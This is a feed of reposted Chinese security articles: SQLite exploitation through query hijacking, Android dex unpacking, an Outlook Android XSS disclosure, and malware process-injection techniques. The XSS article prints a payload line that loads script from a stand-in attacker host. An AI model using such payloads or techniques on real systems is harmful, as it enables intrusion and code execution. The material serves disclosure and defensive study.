舉個例子,當要在FTS3虛擬表中插入一個字符串時,必須生成一些元數據以便進行有效的文本搜索。這些元數據最終會被存儲在名為“%_segdir”和“%_segments”的真實表中,而字符串本身被存儲在“%_content”表中,這里的%是原始虛擬表的名字。

這些用來輔助存儲虛擬表數據的真實表被稱為“影子表”(shadow tables)。簡單來說影子表就是一個與原表結構一致但是名字不一樣的普通表。

由于影子表之間相互信任,影子表之間傳遞數據的接口為bug的利用提供了條件。我們在RTREE虛擬表模塊中發現的一個OOB(Out-Of-Band)漏洞——CVE-2019-8457,很好的證明了這一點。

用于地理索引的RTREE虛擬表是一個整數列開頭的表。因此,RTREE接口也認定RTREE表中的第一列為整數。但是,如果我們建立一個第一列是字符串的新表,然后將其傳入rtreenode()接口的話,就會發生OOB。

現在我們就可以使用查詢劫持來控制查詢了,我們也知道了在哪里可以找到漏洞,現在就可以對漏洞進行利用了。

深入SQLite內部進行漏洞利用開發

以前有關SQLite漏洞利用開發的文章都明確地表明環境的包裝是必要的。無論是在這篇牛文(https://medium.com/0xcc/bypass-php-safe-mode-by-abusing-sqlite3s-fts-tokenizer-256ee2555607)中描述關于濫用SQLite tokenizer所使用的PHP解釋器,還是最近在Web SQL上進行便捷利用的JavaScript解析器。

但是,由于SQLite幾乎無處不在,如果限制它自身的利用潛力對我們來講太沒挑戰,所以我們開始探索通過SQLite內部機制實現漏洞利用目的。

目前安全社區常用JavaScript來進行漏洞利用,那么我們是否可以使用SQL來實現類似的效果嗎?

考慮到SQL是圖靈完備的,我們開始基于自己的漏洞挖掘經驗整理出用于EXP開發的原始清單。

用純SQL編寫具有以下功能的漏洞EXP:

  • 內存泄漏
  • 將整數打包和解包為64位指針
  • 指針算數
  • 能在內存中創建復雜的假對象
  • 堆噴射
接下來,我們逐一搞定這些原語功能并用SQL實現。

為了在PHP7上實現RCE,我們將利用一個已發布的漏洞:CVE-2015-7036。

等等,為什么一個4年前的漏洞到現在還沒有被修復?這里面其實有一個很有意思的故事,它也是我們的一個論證示例。

因為只有在允許不可信來源的Web SQL時才可被利用,故而被忽略了。

?利用方案?

CVE-2105-7036是一個非常好用的漏洞。

簡而言之,危險函數fts3_tokenizer()的調用使用單個參數(如”simple”、”porter”或者其他注冊的tokenizer)時會返回一個令牌解析器地址(tokenizer address)。

當fts3_tokenizer()函數使用兩個參數時,fts3_tokenizer會用第二個參數覆蓋第一個參數的令牌解析器地址。

當指定令牌解析器地址被覆蓋之后,我們就可以劫持任何使用了該令牌解析器地址的FTS表實例的程序流了。

我們的漏洞利用方案:

  • 泄露令牌解析器地址
  • 基址計算
  • 偽造一個假令牌指向我們的惡意代碼
  • 使用惡意令牌覆蓋原有令牌
  • 實例化fts3虛擬表以觸發惡意代碼
接著再回到我們的EXP開發上來。

?面向查詢編程(QOP)

我們很自豪地介紹一種使用結構化查詢語言進行漏洞利用開發的獨特方法,我們向社區分享QOP,是希望能以此鼓勵研究人員去追求在數據庫利用中的無限可能。

下面的每個原語都會附帶一個sqlite3命令示例。

別忘了,我們的目標是向sqlite_master表中植入我們的功能原語并在當目標軟件查詢我們的惡意SQLite文件時,劫持目標軟件的查詢。

?內存泄漏——二進制?

諸如ASLR之類的緩解措施無疑提高了內存破壞利用的門檻,對抗ASLR的一種常見辦法是去學習和了解內存布局。這就是眾所周知的內存泄漏。

內存泄漏有一些漏洞子類,每個漏洞也是略有不同。

在我們的例子中,SQLite內存泄漏的類型是BLOB類型(Binary Large Object,二進制大對象)。這些BLOB是一個很好的泄漏目標,因為它們有時包含內存指針。

使用一個參數來調用脆弱的fts_tokenizer()函數,隨后該函數返回請求的tokenizer的內存地址,hex()可以將該地址以16進制顯示。

顯然,我們獲得了內存地址,但是被反轉成小端(little-endianity)了。

當然,我們可以使用一些SQLite內置的字符串操作來反轉地址,substr()就非常適合。

現在我們可以讀取BLOB了,但又出現了另一個問題,我們該如何進行存儲呢?

?QOP鏈?

當然,用SQL存儲數據要求使用INSERT語句,由于sqlite_master有嚴格的驗證機制,所有的語句必須以“CREATE”開頭,所以我們無法使用INSERT。應對這一挑戰的方法就是簡單的將視圖下的各個查詢連接起來。

舉個例子:

這看起來貌似變化不是很大,但是隨著我們的鏈變得越來越復雜,使用偽變量會更簡單。

?對64-bit指針進行解包?

如果你曾經做過pwn挑戰,那么指針解包和打包的概念應該不陌生。

通過該原語(指針解包)可以將十六進制(比如我們剛剛得到的內存泄漏地址)轉化成整數。然后我們便能在接下來的步驟中對這些指針進行各種計算。

如上圖所示的查詢,使用substr()迭代十六進制串的每一位。再使用instr()確定數值并結合移位算法技巧(https://gist.github.com/ChiChou/97a53caa2c0b49c1991e)來實現將字符的轉換為數值。

現在我們需要的就是對“*”后面進行正確的移位。

?指針運算?

當指針是整數形式的時候,進行運算是一個很簡單的任務。例如,從上文中得到的令牌指針中提取image base:

?打包64位指針?

在讀取泄漏的指針并進行處理后,需要將他們打包回原有的小端(little-endian)形式并存儲起來。

安裝SQLite文檔資料, char()函數可以返回一個由具有整型Unicode編碼值的字符組成的字符串。

但事實證明,該函數在有限的整數范圍內情況良好,較大的整數會被轉換成2字節的編碼:

在SQLite官方文檔上碰壁后,我們突然意識到:我們的EXP本身就是一個數據庫,我們可以預先準備一個將整數映射到其預期值的表。

現在我們的指針打包查詢就是:

?在內存中創建復雜的假對象?

編寫一個指針是有用的,但這還不夠。在很多利用內存安全問題進行攻擊的場景中都要求攻擊者在內存中偽造一些對象或者結構,甚至需要編寫ROP鏈。

現在,我們將前文介紹的幾個模塊整合起來。例如,構造我們自己的tokenizer(https://www.sqlite.org/fts3.html#custom_application_defined_tokenizers)。我們偽造的tokenizer需要符合SQLite的接口:

使用上述方法和簡單JOIN查詢,我們就可以輕松的偽造所需的對象了。

通過底層調試器的驗證,可以看到我們的確成功創建了一個偽造的Tokenizer對象。

?堆噴射?

現在我們已經構造了偽對象,有時候用偽造對象是有助于堆噴射的。然而不幸的是,SQLite并沒有像MySQL一樣的REPEAT()函數。

但是,這里(https://stackoverflow.com/questions/11568496/how-to-emulate-repeat-in-sqlite)給出了一個非常秀的解決方案。

zeroblob(N)?函數會返回大小為N字節的BLOB類型,同時使用replace()將其0值替換為我們偽造的對象。

對0x41的搜索結果也顯示我們成功了。注意每0x20字節重復一個結果:

?內存泄漏——堆?

從我們的開發策略來看,似乎我們的方向是正確的。我們已經知道二進制圖像的位置,也能夠推測出必要函數,并且向堆中噴射我們的惡意tokenizer。

現在是時候用我們噴射的對象覆蓋tokenizer了。但是,由于堆的地址是隨機的,我們不知道我們要對那個位置進行噴射。這就需要另一個漏洞來實現堆泄漏。

我們再一次將虛擬表接口作為目標·。

由于虛擬表會使用底層的影子表,因此在不同的SQL接口之間傳遞原始的指針是很常見的。

?注意??在SQLite 3.20中已有相應的措施來緩解這一問題。幸運的是,PHP7使用的是早期版本來進行編譯,如果版本更新了的話,也可以使用CVE-2019-8457漏洞。

要使堆的地址泄漏,我們預先創建一個fts3表使用它的MATCH接口。

正如我們之前在內存泄漏中見過的一樣,該指針是個小端值,所以需要對它進行反轉,當然,我們已經知道如何使用substr()函數來實現這一點。

如此,我們便知道了堆的地址,并且可以進行正確的堆噴射,最終,我們實現了用自己的惡意tokenizer覆蓋原有的tokenizer。

整合

終于,前文期待的所有原語都已經有了,現在回到我們最開始:攻擊密碼竊取器的CC服務器。

如上所述,我們需要設置一個“陷阱”視圖來啟動我們的攻擊。因此,我們需要審查我們的攻擊目標,并為之準備相應的視圖。

上圖中的代碼片段顯示,我們的目標希望收集到的db擁有名為Notes表且含有BodyRich列。為了劫持這個查詢,創建如下視圖:

查詢Notes時會執行3個QOP鏈。先分析一下第一個QOP鏈。

?heap_spray?

該QOP鏈會使用大量的惡意tokenizer對堆進行填充。

p64_simple-create、p64_simple_destrory和p64_system本質上是通過泄露和包裝功能實現的工具鏈。

舉個例子,p64_simple_destory的構造如下:

由于這些鏈都很復雜并且很重復,我們創建了QOP.py來執行。QOP.py以pwntools的形式使得創建如上所述的代碼變得非常簡單:

?Demo?

https://youtu.be/cPfYoxLOi1M (視頻)

?COMMIT?

既然我們已經建立了一個框架來利用其他攻擊者不確定數據庫是否惡意的情況,那么讓我們再來看一下SQLite漏洞利用開發的另一個例子。

iOS 持久性

因為iOS系統中所有的可執行文件都必須作為蘋果安全引導(Secure Boot)的一部分進行簽名,故而一般情況下很難在iOS上實現持久化。然而幸運的是,SQLite數據庫不需要簽名。

利用我們的新功能,我們用惡意數據庫替換一個常用的數據庫。在設備重新啟動之后,當我們的數據庫被查詢時,我們便獲取到了代碼執行權限。

為了進行演示說明,我們替換掉了通訊錄數據庫“AddressBook.sqlitedb”。正如我們在PHP7利用中做的一樣,我們創建兩個額外的DDL語句。一個用于覆蓋默認的tokenizer “simple”,另外一個DDL通過嘗試實例化被覆蓋的tokenizer從而觸發崩潰。現在要做的就是將原始數據庫的每個表重寫為對應的視圖。該視圖將劫持所有的執行的查詢重定向到惡意的DDL。

使用惡意數據庫替換掉contacts DB并重啟,可以看到如下系統崩潰信息:

不出所料,Contacts進程嘗試在0x4141414141414149處查找我們偽造tokenizer的xCreate構造器時崩潰。

除此之外,聯系人數據庫實際上在許多進程之間是共享的。Contacts,Facetime,Springboard,WhatsApp,Telegram和XPCProxy只是處理對聯系人數據庫查詢的進程中的一部分。在眾多的進程中,個別進程擁有跟高級的特權,所以一點證明了可以再查詢過程中執行代碼,那么也就可以用這個方法進行擴展和權限提升。

我們的研究以及方法已經報告給了蘋果,下面是我們的CVE:

  • CVE-2019-8600
  • CVE-2019-8598
  • CVE-2019-8602
  • CVE-2019-8577
接下來的工作

鑒于SQLite實際上幾乎在所有平臺上都內置的,所以我們認為,相對于SQLite的漏洞利用潛力來講,我們所做的只不過是冰山一角罷了。我們希望安全研究社區可以采用我們的研究及其工具,并進一步的來完善它們。在這里我們給出幾個建議:

  • 開發更強大的漏洞利用工具。可以通過使用sqlite_version()或sqlite_compileoption_used()等函數從預制表格中選擇相關的QOP工具來動態構建利用。
  • 實現更強大的原語,比如任意讀寫。
  • 尋找更多“查詢者無法驗證數據庫是否可信”的場景。
結論

我們確認,對數據庫進行簡單的查詢也許并不像你想的那么安全。利用我們的查詢劫持以及QOP技術充分證明了在SQLite中對內存損壞問題可以被可靠利用。隨著權限層次結構變得比以往更加的細分,很明顯我們必須重新考慮受信任與不受信任的SQL輸入的邊界在哪里。為了演示這些概念,我們在一個運行著PHP7的密碼竊取程序后端實現了遠程代碼執行,并在iOS上獲得了更高權限的持久化。我們相信,這些只是SQLite諸多利用中屈指可數的例子。

Check Point公司的IPS可以防范這種威脅:SQLite fts3_tokenizer Untrusted Pointer Remote Code Execution (CVE-2019-8602)。

【via@蘇州極光無限信息技術有限公司
]]>
FART正餐前甜點:ART下幾個通用簡單高效的dump內存中dex方法 http://www.zzxjjy.com/17850.html Sun, 01 Sep 2019 09:21:42 +0000 http://www.zzxjjy.com/?p=17850 本篇是對FART后續的補充,以及在實現FART過程中偶然發現的幾個通用簡單高效的脫殼方法,在FART后續的實現中,對內存中整體dex的dump也已經換成該方法來實現。
該方法可以說簡單高效并且實現也較為簡單,可以很輕松通過xposed或者frida等hook框架通過很短的代碼便能夠實現對加固應用的脫殼。同時,該方法通用性較強。下面結合源碼對該方案的原理和實現做簡單的介紹。
ART類加載執行流程以及ArtMethod類
在上一篇《FART:ART環境下基于主動調用的自動化脫殼方案》文章中對當前ART環境下的通用脫殼方案進行了簡單的總結,比如dexhunter、hook OpenMem方案,以及hook DexFile類函數方案等。
最后,FART使用了通過classloader來實現對classloader中的dex的dump來脫殼的目的。該方法在獲取到最終應用dex運行的classloader后,通過調用在框架層DexFile類中添加的相關jni函數來達到獲取內存中整體dex的目的。
整個實現過程可以說非常的繁瑣,而且需要對Android系統有著非常清楚的認識。同時,該實現過程需要使用大量的反射進而帶來了效率較低的問題。(當然,對于逆向來說。效率往往不是最重要的,達成目的才是關鍵)。
在一次閱讀源碼的過程中,偶然發現了幾處通用高效的dump內存中dex的方法。該方法主要涉及到ART環境下的類加載執行流程以及相關的類。
ART環境下函數執行過程中最關鍵的類便是ArtMethod類,這里以一張前輩繪制的圖來說明ART環境下的類加載執行流程(詳細內容可以參見文末的參考鏈接)。
從該圖中的右下部分可以看到,當ART在調用函數前需要對函數所屬的類完成加載鏈接,并最終準備好類中的每一個函數對應的ArtMethod對象以供接下來類的初始化以及函數的調用。
整個流程可以簡單概括為LoadClass->LoadClassMembers->LinkCode。LoadClassMembers函數負責準備接下來類函數執行過程中所需要的變量和函數。
該函數首先是遍歷內存中dex的相關field并初始化為ArtField對象;遍歷類中所有的函數,并初始化函數對應的ArtMethod對象。我們主要看下LoadClassMembers函數:
void ClassLinker::LoadClassMembers(Thread* self, const?DexFile& dex_file,
const?uint8_t* class_data,
Handle<mirror::Class> klass,
const?OatFile::OatClass* oat_class) {
{
// Note:?We cannot have thread suspension until the field and method arrays are setup or else
// Class::VisitFieldRoots may miss some fields or methods.
ScopedAssertNoThreadSuspension nts(self, __FUNCTION__);
// Load static fields.
//遍歷dex中的相關field
ClassDataItemIterator it(dex_file, class_data);
const?size_t num_sfields = it.NumStaticFields();
ArtField* sfields = num_sfields != 0?? AllocArtFieldArray(self, num_sfields) : nullptr;
for?(size_t i = 0; it.HasNextStaticField(); i++, it.Next()) {
CHECK_LT(i, num_sfields);
LoadField(it, klass, &sfields[i]);
}
klass->SetSFields(sfields);
klass->SetNumStaticFields(num_sfields);
DCHECK_EQ(klass->NumStaticFields(), num_sfields);
// Load instance fields.
const?size_t num_ifields = it.NumInstanceFields();
ArtField* ifields = num_ifields != 0?? AllocArtFieldArray(self, num_ifields) : nullptr;
for?(size_t i = 0; it.HasNextInstanceField(); i++, it.Next()) {
CHECK_LT(i, num_ifields);
LoadField(it, klass, &ifields[i]);
}
klass->SetIFields(ifields);
klass->SetNumInstanceFields(num_ifields);
DCHECK_EQ(klass->NumInstanceFields(), num_ifields);
// Load methods.
//遍歷dex中的相關Method并初始化
if?(it.NumDirectMethods() != 0) {
klass->SetDirectMethodsPtr(AllocArtMethodArray(self, it.NumDirectMethods()));
}
klass->SetNumDirectMethods(it.NumDirectMethods());
if?(it.NumVirtualMethods() != 0) {
klass->SetVirtualMethodsPtr(AllocArtMethodArray(self, it.NumVirtualMethods()));
}
klass->SetNumVirtualMethods(it.NumVirtualMethods());
size_t class_def_method_index = 0;
uint32_t last_dex_method_index = DexFile::kDexNoIndex;
size_t last_class_def_method_index = 0;
//首先遍歷初始化DirectMethod
for?(size_t i = 0; it.HasNextDirectMethod(); i++, it.Next()) {
ArtMethod* method = klass->GetDirectMethodUnchecked(i, image_pointer_size_);
LoadMethod(self, dex_file, it, klass, method);
LinkCode(method, oat_class, class_def_method_index);
uint32_t it_method_index = it.GetMemberIndex();
if?(last_dex_method_index == it_method_index) {
// duplicate case
method->SetMethodIndex(last_class_def_method_index);
} else?{
method->SetMethodIndex(class_def_method_index);
last_dex_method_index = it_method_index;
last_class_def_method_index = class_def_method_index;
}
class_def_method_index++;
}
//然后遍歷初始化VirtualMethod
for?(size_t i = 0; it.HasNextVirtualMethod(); i++, it.Next()) {
ArtMethod* method = klass->GetVirtualMethodUnchecked(i, image_pointer_size_);
LoadMethod(self, dex_file, it, klass, method);
DCHECK_EQ(class_def_method_index, it.NumDirectMethods() + i);
LinkCode(method, oat_class, class_def_method_index);
class_def_method_index++;
}
DCHECK(!it.HasNext());
}
self->AllowThreadSuspension();
}
有dump整體dex經驗比如dalvik下通過hook dexparse或者dvmDexFileOpenPartial來達成定位內存中dex起始地址并dump的方法的人或許在這里便一眼看出該函數是一個脫殼點。
該函數的第二個參數 const DexFile& dex_file包含了對當前處理的dex的DexFile對象的引用,通過該引用,我們便可以定位到該dex在內存中的起始地址并達成dump脫殼。
同時,也可以看到,在對類中的函數進行遍歷并初始化ArtMethod過程中的LoadMethod(self, dex_file, it, klass, method)函數也包含了對DexFile對象的引用,因此這也是一個脫殼點。接下來具體看LoadMethod函數:
void ClassLinker::LoadMethod(Thread* self, const?DexFile& dex_file, const?ClassDataItemIterator& it,
Handle<mirror::Class> klass, ArtMethod* dst) {
uint32_t dex_method_idx = it.GetMemberIndex();
const?DexFile::MethodId& method_id = dex_file.GetMethodId(dex_method_idx);
const?char* method_name = dex_file.StringDataByIdx(method_id.name_idx_);

ScopedAssertNoThreadSuspension ants(self, “LoadMethod”);
//初始化相關變量
dst->SetDexMethodIndex(dex_method_idx);
dst->SetDeclaringClass(klass.Get());
//初始化CodeItem指針
dst->SetCodeItemOffset(it.GetMethodCodeItemOffset());

dst->SetDexCacheResolvedMethods(klass->GetDexCache()->GetResolvedMethods());
dst->SetDexCacheResolvedTypes(klass->GetDexCache()->GetResolvedTypes());

uint32_t access_flags = it.GetMethodAccessFlags();

if?(UNLIKELY(strcmp(“finalize”, method_name) == 0)) {
// Set finalizable flag on declaring class.
if?(strcmp(“V”, dex_file.GetShorty(method_id.proto_idx_)) == 0) {
// Void return type.
if?(klass->GetClassLoader() != nullptr) { // All non-boot finalizer methods are flagged.
klass->SetFinalizable();
} else?{
std::string temp;
const?char* klass_descriptor = klass->GetDescriptor(&temp);
// The Enum class declares a “final” finalize() method to prevent subclasses from
// introducing a finalizer. We don’t want to set the finalizable flag for Enum or its
// subclasses, so we exclude it here.
// We also want to avoid setting the flag on Object, where we know that finalize() is
// empty.
if?(strcmp(klass_descriptor, “Ljava/lang/Object;”) != 0?&&
strcmp(klass_descriptor, “Ljava/lang/Enum;”) != 0) {
klass->SetFinalizable();
}
}
}
} else?if?(method_name[0] == ‘<‘) {
// Fix broken access flags for initializers. Bug 11157540.
bool is_init = (strcmp(“<init>”, method_name) == 0);
bool is_clinit = !is_init && (strcmp(“<clinit>”, method_name) == 0);
if?(UNLIKELY(!is_init && !is_clinit)) {
LOG(WARNING) << “Unexpected ‘<‘ at start of method name “?<< method_name;
} else?{
if?(UNLIKELY((access_flags & kAccConstructor) == 0)) {
LOG(WARNING) << method_name << ” didn’t have expected constructor access flag in class “
<< PrettyDescriptor(klass.Get()) << ” in dex file “?<< dex_file.GetLocation();
access_flags |= kAccConstructor;
}
}
}
dst->SetAccessFlags(access_flags);
}

該函數主要是通過指針對內存中的dex文件進行訪問,獲取到ArtMethod所需的相關內容后完成對ArtMethod的初始化工作,如:
? dst->SetDexMethodIndex(dex_method_idx);
??dst->SetDeclaringClass(klass.Get());
??dst->SetCodeItemOffset(it.GetMethodCodeItemOffset());
??dst->SetDexCacheResolvedMethods(klass->GetDexCache()->GetResolvedMethods());
??dst->SetDexCacheResolvedTypes(klass->GetDexCache()->GetResolvedTypes());
這幾個賦值語句。在FART的實現中如何來確定被修復的函數屬于哪一個類哪一個方法呢?
事實上區分函數的唯一性可以靠該函數的相關屬性如類型名+函數名+函數簽名的形式來區分。而在FART中我直接使用了函數的method_idx屬性來確定(對于一個dex中的所有函數都由method_idx來編號,這也是單個dex文件能包含的最大方法數為65536的原因)。
其中,可以看到最關鍵的一個變量的初始化:
dst->SetCodeItemOffset(it.GetMethodCodeItemOffset());
該語句對當前函數所指向的內存中的smali指令的地址進行了初始化。當前一些函數抽取類殼一般有兩種策略來處理:
第一種屬于占坑型,提前將dex中的函數體部分進行加密或者直接置為無效,在函數執行前再進行該部分空間的解密從而供函數調用執行;
第二種則在加固過程中對dex進行了重構,導致原有的函數體的空間已經無效,在函數執行前直接修改該ArtMethod對象中的CodeItemOffse指向來達成函數的調用執行。接下來再看LinkCode源碼:
void ClassLinker::LinkCode(ArtMethod* method, const?OatFile::OatClass* oat_class,
uint32_t class_def_method_index) {
Runtime* const?runtime = Runtime::Current();
if?(runtime->IsAotCompiler()) {
// The following code only applies to a non-compiler runtime.
return;
}
// Method shouldn’t have already been linked.
DCHECK(method->GetEntryPointFromQuickCompiledCode() == nullptr);
if?(oat_class != nullptr) {
// Every kind of method should at least get an invoke stub from the oat_method.
// non-abstract methods also get their code pointers.
const?OatFile::OatMethod oat_method = oat_class->GetOatMethod(class_def_method_index);
oat_method.LinkMethod(method);
}

// Install entry point from interpreter.
bool enter_interpreter = NeedsInterpreter(method, method->GetEntryPointFromQuickCompiledCode());
if?(enter_interpreter && !method->IsNative()) {
method->SetEntryPointFromInterpreter(artInterpreterToInterpreterBridge);
} else?{
method->SetEntryPointFromInterpreter(artInterpreterToCompiledCodeBridge);
}

if?(method->IsAbstract()) {
method->SetEntryPointFromQuickCompiledCode(GetQuickToInterpreterBridge());
return;
}

if?(method->IsStatic() && !method->IsConstructor()) {
// For static methods excluding the class initializer, install the trampoline.
// It will be replaced by the proper entry point by ClassLinker::FixupStaticTrampolines
// after initializing class (see ClassLinker::InitializeClass method).
method->SetEntryPointFromQuickCompiledCode(GetQuickResolutionStub());
} else?if?(enter_interpreter) {
if?(!method->IsNative()) {
// Set entry point from compiled code if there’s no code or in interpreter only mode.
method->SetEntryPointFromQuickCompiledCode(GetQuickToInterpreterBridge());
} else?{
method->SetEntryPointFromQuickCompiledCode(GetQuickGenericJniStub());
}
}

if?(method->IsNative()) {
// Unregistering restores the dlsym lookup stub.
method->UnregisterNative();

if?(enter_interpreter) {
// We have a native method here without code. Then it should have either the generic JNI
// trampoline as entrypoint (non-static), or the resolution trampoline (static).
// TODO:?this doesn’t handle all the cases where trampolines may be installed.
const?void* entry_point = method->GetEntryPointFromQuickCompiledCode();
DCHECK(IsQuickGenericJniStub(entry_point) || IsQuickResolutionStub(entry_point));
}
}
}<span style=“color:rgb(0, 0, 0); font-family:none; font-size:15px;”>
</span>

LinkCode函數對不同函數類型進行了不同的處理,進而完成對ArtMethod中相關變量的初始化工作,如針對native函數進行method->UnregisterNative(),針對以quick模式或interpreter模式執行的函數的不同的初始化工作。
當然,ArtMethod類提供了一個函數:GetDexFile(),該函數也可以獲取到當前ArtMethod對象所在的DexFile對象引用,在獲得了當前DexFile對象引用后,也依然可以dump得到當前內存中的dex。
實現及實驗驗證
上面對ART環境下的類加載執行流程簡單做了介紹,從而說明這幾種通用dump方案的原理。實現部分就不在這里貼了,具體可以看上一篇文章《FART:ART環境下基于主動調用的自動化脫殼方案》。
最終FART使用的是通過運行過程中ArtMethod來使用GetDexFile()函數從而獲取到DexFile對象引用進而達成dex的dump。這里同時給出四種實現思路(具體的dump時機和方法上一節部分已經給出):
① 通過修改Android系統源代碼,在這些dump點插入dump整體dex的代碼。
② 使用frida來hook這些函數,然后通過指針對這些對象中的變量進行訪問,最終定位到內存中的dex的起始點并完成dump。
③ 使用ida在過掉前期的反調試之后,對這些函數下斷即可(過反調試是個繁瑣的任務)。
④ 使用xposed或者virtualxposed結合native層函數的hook技術實現。
【via@看雪社區
]]>
發現Outlook安卓版本APP跨站漏洞CVE-2019-11051234567 http://www.zzxjjy.com/17829.html Sun, 01 Sep 2019 06:37:04 +0000 http://www.zzxjjy.com/?p=17829 Outlook可能算是目前比較流行的郵箱APP之一了,近期,CyberArk公司研究團隊就發現了Outlook安卓版本APP的一個跨站漏洞(XSS)- CVE-2019-1105,利用該漏洞可以在E-mail電子郵件中實現任意 JavaScript 代碼執行。本文我們就一起來看看該漏洞的具體成因。

漏洞利用

大概的漏洞利用是這樣的,如果我們向受害者郵箱發送包含Payload的郵件,當受害者打開郵件之后,就會跳出形如以下的XSS窗口:

漏洞成因

我們可以把Outlook for Andriod的APK程序進行一個逆向分析,在assets資源目錄下,我們發現了一個名為“emailRenderer-android.js”的JavaScript文件,顧名思義,它是一個把郵件消息加載顯示給用戶查看的。在該JavaScript文件中,存在一個名為“layout”的函數,在其中它調用了名為“_linkifyPhoneNumbers”的方法。如下:

在這里,我們來談談Linkify類,android.text.util.Linkify是一個輔助類,通過RegEx樣式匹配,自動地在TextView類(和繼承的類)中創建超鏈接。符合特定的RegEx樣式的文本會被轉變成可點擊的超鏈接,這些超鏈接隱式地調用startActivity(new Intent(Intent.ACTION_VIEW, uri)),符合的文本會作為目標URI。你可以指定任意的字符串樣式為鏈接。為了方便,Linkify類提供了4種預置的通用內容類型(電子郵箱地址、電話號碼、web地址和住所地址)。

_linkifyPhoneNumbers方法的第一步是創建一個正則表達式對象,其中包含可能的手機號碼模式,如下:

上圖可示,與_linkifyPhoneNumbers正則表達式匹配的是一個7位數序列。之后,linkifyPhoneNumbers函數定義了第二個內層函數 “replacer”,該函數首先會去解析手機號碼,如下:

如果解析成功,內層函數 “replacer”會把號碼數字轉化生成一個對應鏈接,然后計數器加1并返回數據:

回到_linkifyPhoneNumbers的外層函數中來,這時_linkifyPhoneNumbers會測試它定義的正則表達式和消息中每個HTML元素之間是否匹配,如果匹配成功,外層函數會調用內層函數replacer并返回數據,這樣,就能用一些未轉義的文本內容來替代消息內容了,漏洞也就如此產生了:

這樣一來,把數字轉化為鏈接之后,從內容上來說就不存在轉義了,攻擊者可以發送包含匹配正則表達式的一串數字, replacer函數中的計數器加1,然后替代掉原先的消息內容,也就是說,把用正則表達式電話號碼的消息換成一些不可轉義的XSS Payload就可以了。

用HTML 5 API 來實現XSS

HTML 5 API 具備了多種新的功能特性,所以,我們可以利用它來對上述漏洞進行一個利用測試。這里,我們來看看Navigator的界面功能,它代表了一種當前狀態和用戶端身份信息,可以使用腳本進行查詢并注冊成為某種操作。我們以Navigator.vibrate()震動方法為例說明,當惡意郵件被受害者打開之后,該方法就會使手機設備產生震動脈沖。可用以下Payload來結合利用:

<img src=x on error=”javascript:document.write(‘script src=http:/attacker/tt.js></script>’);”>

但只是產生震動還是不夠的,我們可以在其中插入一段遠程腳本,成為:

我們可用XMLHttpRequest對象來創建一個復雜腳本,它負責受害者用戶瀏覽器和我們控制的重定向web服務器之間的通信。如下,使用XMLHttpRequest來重定向受害者:

上述代碼會驗證HTTP響應碼狀態并把鏈接轉化為outlook特有的olm格式鏈接窗口跳出,如下:

但其中接收到的狀態碼為0,根據MDN XMLHttpRequest.status來看,說明存在錯誤。經過一番分析研究,我們發現其中存在一個跨站資源共享CORS防護措施,所以,需要對它進行繞過,在此我們使用cors-anywhere代理方式對上述代碼作了以下修改:

這樣一來,我們的CORS bypass就能成功了,通過用burp collaborator作為攔截代理,就能有效地從XSS受害者的User-agent信息中查看到我們構造的惡意消息參數情況了:

總結

很多移動APP中都嵌入了Web應用功能,這種架構一旦其中的Web應用出現類似XSS的問題,難免會涉及本身的移動應用程序。

【via@FreeBuf.com

]]>
十種注入技巧 | 通用性進程注入技巧研究 http://www.zzxjjy.com/17804.html Sun, 01 Sep 2019 05:58:16 +0000 http://www.zzxjjy.com/?p=17804 進程注入是一種廣泛應用于惡意軟件和無文件攻擊中的逃避技術,這需要在另一個進程的地址空間內運行自定義代碼。進程注入提高了隱蔽性,一些技術也實現了持久性。 盡管有許多流程注入技術,在本博客中,我提供了十種在現實看到注入另一個進程運行惡意代碼的技術。 我還提供了許多這些技術的屏幕截圖,以便于逆向工程和惡意軟件分析,協助針對這些常見技術進行檢測和防御。

1. 經典的DLL注入方式:通過CREATEREMOTETHREAD和LOADLIBRARY進行注入

這種技術是用于將惡意軟件注入另一個進程的最常用技術之一。 惡意軟件將路徑寫入到其他進程的虛擬地址空間中的惡意動態鏈接庫(DLL),并通過在目標進程中創建遠程線程來確保遠程進程加載它。

圖 1

惡意軟件首先需要定位注入的進程(例如svchost.exe)。這通常通過調用三個應用程序接口(API)來搜索進程:CreateToolhelp32Snapshot,Process32First和Process32Next。
CreateToolhelp32Snapshot是用于枚舉指定進程或所有進程的堆或模塊狀態的API,它返回一個快照。

Process32First檢索快照中有關第一個進程的信息,然后在循環中使Process32Next來遍歷它們。

找到目標進程后,惡意軟件通過調用OpenProcess獲取目標進程的句柄。

如圖2所示,惡意軟件調用VirtualAllocEx有一段空間來寫入其DLL的路徑。

惡意軟件然后調用WriteProcessMemory寫入分配的內存中的路徑。
最后,為了讓代碼在另一個進程中執行,惡意軟件調用API,如CreateRemoteThread,NtCreateThreadEx或RtlCreateUserThread,后兩者是為文檔化的函數。

然而,一般的想法是將LoadLibrary的地址傳遞給這些API之一,以便遠程進程必須代表惡意軟件執行DLL。CreateRemoteThread被許多安全產品跟蹤和標記。
此外,它會在磁盤上的留下惡意DLL文件。考慮到攻擊者注入代碼的目的一般是防御,所以復雜的攻擊者可能不會使用這種方法。
下面的截圖顯示了一個名為Rebhip的惡意軟件便是利用了這種注入技巧。

圖 2 Rebhip 蠕蟲使用了經典的DLL注入方式

2. PE文件注入

惡意軟件不會傳遞LoadLibrary的地址,而是將其惡意代碼復制到現有的打開進程中,并使其執行(通過一個小的shellcode或通過調用CreateRemoteThread)。PE注入相比于LoadLibrary進行注入的一個優點是惡意軟件不必在磁盤上釋放惡意DLL。類似于第一種注入技術,惡意軟件在主機進程(例如VirtualAllocEx)中分配內存,而不是寫入“DLL路徑”,它通過調用WriteProcessMemory寫入其惡意代碼。然而,使用這種方法的缺陷是更改了復制映像的基址。當惡意軟件將其PE注入另一個進程時,它將具有不可預測的新基址,所以要求它動態地重新計算其PE的固定地址。為了克服這一點,惡意軟件需要在主機進程中找到其重定位表地址,并通過循環遍歷其重定位描述符來解析復制的映像的絕對地址。

圖 3

這種技術類似于其他技術,如反射式DLL注入和內存模塊加載,因為它們不會將任何文件釋放到磁盤。然而,內存模塊加載和反射式DLL注入方法甚至更加隱蔽。它們不依賴任何額外的Windows

API(例如,CreateRemoteThread或LoadLibrary),因為它們在內存中加載并執行自身。反射式DLL注入通過創建一個DLL,在執行時將自身映射到內存中,而不依賴于Window的加載器。內存模塊加載類似于反射式DLL注入,注射器或加載器負責將目標DLL映射到內存而不是DLL映射本身。在之前的一篇博文中,這兩種內存方法被廣泛討論。

